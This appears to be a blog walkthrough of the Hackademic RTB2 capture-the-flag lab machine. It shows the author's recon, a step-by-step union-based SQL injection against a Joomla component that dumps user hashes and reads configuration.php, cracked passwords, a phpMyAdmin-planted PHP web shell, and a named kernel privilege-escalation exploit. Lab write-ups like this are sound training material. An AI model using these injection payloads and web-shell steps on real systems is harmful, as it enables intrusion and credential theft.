Hackademic RTB2
Tools:
- Netdiscover
- Nmap
- Wfuzz
- Nikto
- Joomscan
- Metasploit
Vulnerabilities:
Linux Kernel 2.6.36-rc8 - RDS Protocol Local Privilege Escalation
Use netdiscover to detect target IP address
netdiscover -i eth0 -r 192.168.41.0/24
![[title manually exploit [alt text]]](/images/blog/vulhub/rtb2/Selection_001.png)
192.168.41.158 is the target.
Then run nmap to detect opening ports and running services on the target machine.
nmap -sV -v -O -A -T5 192.168.41.158 -p-
![[title manually exploit [alt text]]](/images/blog/vulhub/rtb2/Selection_002.png)
looks like port 80 is opening and port 666 is filtered.
Use both wfuzz to scan the host
1
| |
![[title manually exploit [alt text]]](/images/blog/vulhub/rtb2/Selection_003.png)
find phpmyadmin
check the webpage, and need to login, try to use sqli to by pass the autherication, but doesn’t work. Now step back, enumerate more.
I use nmap to scan the target again. find port 666 now is opening. So there may be a port knocking existing.
![[title manually exploit [alt text]]](/images/blog/vulhub/rtb2/Selection_005.png)
use wfuzz scan again
1
| |
![[title manually exploit [alt text]]](/images/blog/vulhub/rtb2/Selection_008.png)
check the webpage http://192.168.41.158:666/
![[title manually exploit [alt text]]](/images/blog/vulhub/rtb2/Selection_007.png)
looks like it is joomla
now use Joomba to scan the app
joomscan -u http://192.168.41.158:666/
nothing cool comes out.
use metasploit
search joomla
I use auxiliary/scanner/http/joomla_plugins
1 2 3 4 | |
![[title manually exploit [alt text]]](/images/blog/vulhub/rtb2/Selection_009.png)
use /index.php?option=com_abc&view=abc&letter=AS§ionid='
so first step, verify the sql injection:
http://192.168.41.158:666/index.php?option=com_abc&view=abc&letter=AS§ionid='
![[title manually exploit [alt text]]](/images/blog/vulhub/rtb2/Selection_010.png)
then try to get column number:
http://192.168.41.158:666/index.php?option=com_abc&view=abc&letter=AS§ionid=1 order by 1--
http://192.168.41.158:666/index.php?option=com_abc&view=abc&letter=AS§ionid=1 order by 2--
http://192.168.41.158:666/index.php?option=com_abc&view=abc&letter=AS§ionid=1 order by 3--
![[title manually exploit [alt text]]](/images/blog/vulhub/rtb2/Selection_011.png)
the column number is 2
next find out which column we can use
158:666/index.php?option=com_abc&view=abc&letter=AS§ionid=1 union all select 1,2--
![[title manually exploit [alt text]]](/images/blog/vulhub/rtb2/Selection_012.png)
Okay. Column 2
try to check mysql version
http://192.168.41.158:666/index.php?option=com_abc&view=abc&letter=AS§ionid=1 union all select 1,@@version--
![[title manually exploit [alt text]]](/images/blog/vulhub/rtb2/Selection_013.png)
get all table name
http://192.168.41.158:666/index.php?option=com_abc&view=abc&letter=AS§ionid=1 union all select 1, table_name from information_schema.tables--
![[title manually exploit [alt text]]](/images/blog/vulhub/rtb2/Selection_015.png)
get all column name of table jos_users
http://192.168.41.158:666/index.php?option=com_abc&view=abc&letter=AS§ionid=1 union all select 1, column_name from information_schema.columns where table_name = 'jos_users'--
![[title manually exploit [alt text]]](/images/blog/vulhub/rtb2/Selection_016.png)
next, get column username and password:
http://192.168.41.158:666/index.php?option=com_abc&view=abc&letter=AS§ionid=1 union all select 1, concat(username,0x20,password) from jos_users--
![[title manually exploit [alt text]]](/images/blog/vulhub/rtb2/Selection_018.png)
The format is hash:salt
use my previous joomla hash crack script crackjoomla.py
1
| |
for administrator, I didn’t get the password
for JSmith, password is matrix, for BTallor, password is victim.
login using JSmith, find nowhere can upload the webshell. check the configuration.php file
http://192.168.41.158:666/index.php?option=com_abc&view=abc&letter=AS§ionid=1 union all select 1, load_file('/var/www/configuration.php')--
![[title manually exploit [alt text]]](/images/blog/vulhub/rtb2/Selection_019.png)
find the username/password. Use it login phpmyadmin
![[title manually exploit [alt text]]](/images/blog/vulhub/rtb2/Selection_022.png)
now I will create a backdoor using mysql:
1 2 3 4 | |
check the backdoor.
http://192.168.41.158:666/backdoor3.php?cmd=uname -a
![[title manually exploit [alt text]]](/images/blog/vulhub/rtb2/Selection_023.png)
good.
Setup netcat and
1
| |
![[title manually exploit [alt text]]](/images/blog/vulhub/rtb2/Selection_020.png)
uname -a
find the kernel version is 2.6.32. Find an exploit Linux Kernel 2.6.36-rc8 - RDS Protocol Local Privilege Escalation.
![[title manually exploit [alt text]]](/images/blog/vulhub/rtb2/Selection_021.png)